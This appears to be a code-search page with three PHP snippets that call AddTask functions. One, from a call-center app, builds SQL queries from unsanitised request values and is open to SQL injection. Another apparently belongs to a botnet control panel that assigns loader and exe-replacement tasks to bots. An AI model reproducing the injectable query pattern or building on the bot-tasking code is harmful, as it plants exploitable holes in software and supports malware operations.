Example #1
0
	{
		printerror('DbError',"");
	}
}

$enews=$_POST['enews'];
if(empty($enews))
{$enews=$_GET['enews'];}
if($enews)
{
	hCheckEcmsRHash();
}

if($enews=="AddTask")
{
	AddTask($_POST,$logininid,$loginin);
}
elseif($enews=="EditTask")
{
	EditTask($_POST,$logininid,$loginin);
}
elseif($enews=="DelTask")
{
	DelTask($_GET,$logininid,$loginin);
}
else
{}

$search=$ecms_hashur['ehref'];
$page=(int)$_GET['page'];
$page=RepPIntvar($page);
Example #2
0
             $row[] = $aRow[$i];
         }
         $data['aaData'][] = $row;
     }
     break;
 case 'save_incomming':
     if ($id_h == '') {
         Addincomming($id_p, $phone, $person_name, $type_id, $call_type_id, $product_type_id, $card_id, $department_id, $information_category_id, $information_sub_category_id, $production_category_id, $genre_id, $production_id, $content, $sum_pirce, $shipping_id, $module_id, $call_comment, $call_status_id, $task_department_id, $source_id, $c_date, $persons_id, $priority_id, $done_start_time, $done_end_time, $comment, $task_type_id, $status_2, $status_1);
         $incomming_call_id = mysql_fetch_array(mysql_query("SELECT id FROM incomming_call WHERE phone = '{$phone}' ORDER BY date DESC LIMIT 1"));
         if ($task_type_id > 0) {
             AddTask($incomming_call_id[0], $task_type_id, $task_department_id, $c_date, $done_start_time, $done_end_time, $comment, $persons_id, $priority_id);
         }
     } else {
         $inc_task_ch = mysql_fetch_assoc(mysql_query("SELECT id FROM task WHERE incomming_call_id = '{$id_p}'"));
         if ($inc_task_ch['id'] == '' and $task_type_id > 0) {
             AddTask($id_p, $task_type_id, $task_department_id, $c_date, $done_start_time, $done_end_time, $comment, $persons_id, $priority_id);
         } else {
             $user = $_SESSION['USERID'];
             $r_user = realuser($persons_id);
             mysql_query("UPDATE `task` SET  `user_id`='{$user}',\n                                    `responsible_user_id`='{$r_user}',\n                                    `start_date`='{$done_start_time}',\n                                    `end_date`='{$done_end_time}',\n                                    `department_id`='{$task_department_id}',\n                                    `task_type_id`='{$task_type_id}',\n                                    `priority_id`='{$priority_id}',\n                                    `comment`='{$comment}'\n                              WHERE `incomming_call_id`='{$id_p}'");
         }
         Saveincomming($id_h, $phone, $person_name, $type_id, $call_type_id, $product_type_id, $card_id, $department_id, $information_category_id, $information_sub_category_id, $production_category_id, $genre_id, $production_id, $content, $sum_pirce, $shipping_id, $module_id, $call_comment, $call_status_id, $task_department_id, $source_id, $c_date, $persons_id, $priority_id, $done_start_time, $done_end_time, $comment, $task_type_id, $status_2, $status_1);
     }
     break;
 case 'get_calls':
     $data = array('calls' => getCalls());
     break;
 case 'category_change':
     $information_category_id_check = $_REQUEST['information_category_id_check'];
     $data = array('cat' => Getinformation_sub_category('', $information_category_id_check));
     break;
Example #3
0
        }
    }
    $smarty->assign('FILES', $RES);
    $smarty->assign('EXT', $file_ext);
    $smarty->assign('FILEID', $file_id);
    //var_dump($_POST);
    $smarty->display('create_task.tpl');
    die;
}
$file = (int) $_POST['file'];
if ($file == 0) {
    die("<font class='error'>Plz, select file!</font>");
}
$note = $_POST['note'];
if (isset($_POST['pe_loader'])) {
    $peload = 1;
} else {
    $peload = 0;
}
if (isset($_POST['repl_exe'])) {
    $replexe = 1;
} else {
    $replexe = 0;
}
$isUnlimit = isset($_POST['isUnlimit']) ? $_POST['isUnlimit'] : 0;
if ($tid = AddTask($file, $note, $peload, $replexe, $isUnlimit)) {
    $smarty->assign('TASK', $tid);
    include_once ROOT_PATH . "/mod/add_bots.php";
} else {
    echo "<font class='error'>Create task error!</font>";
}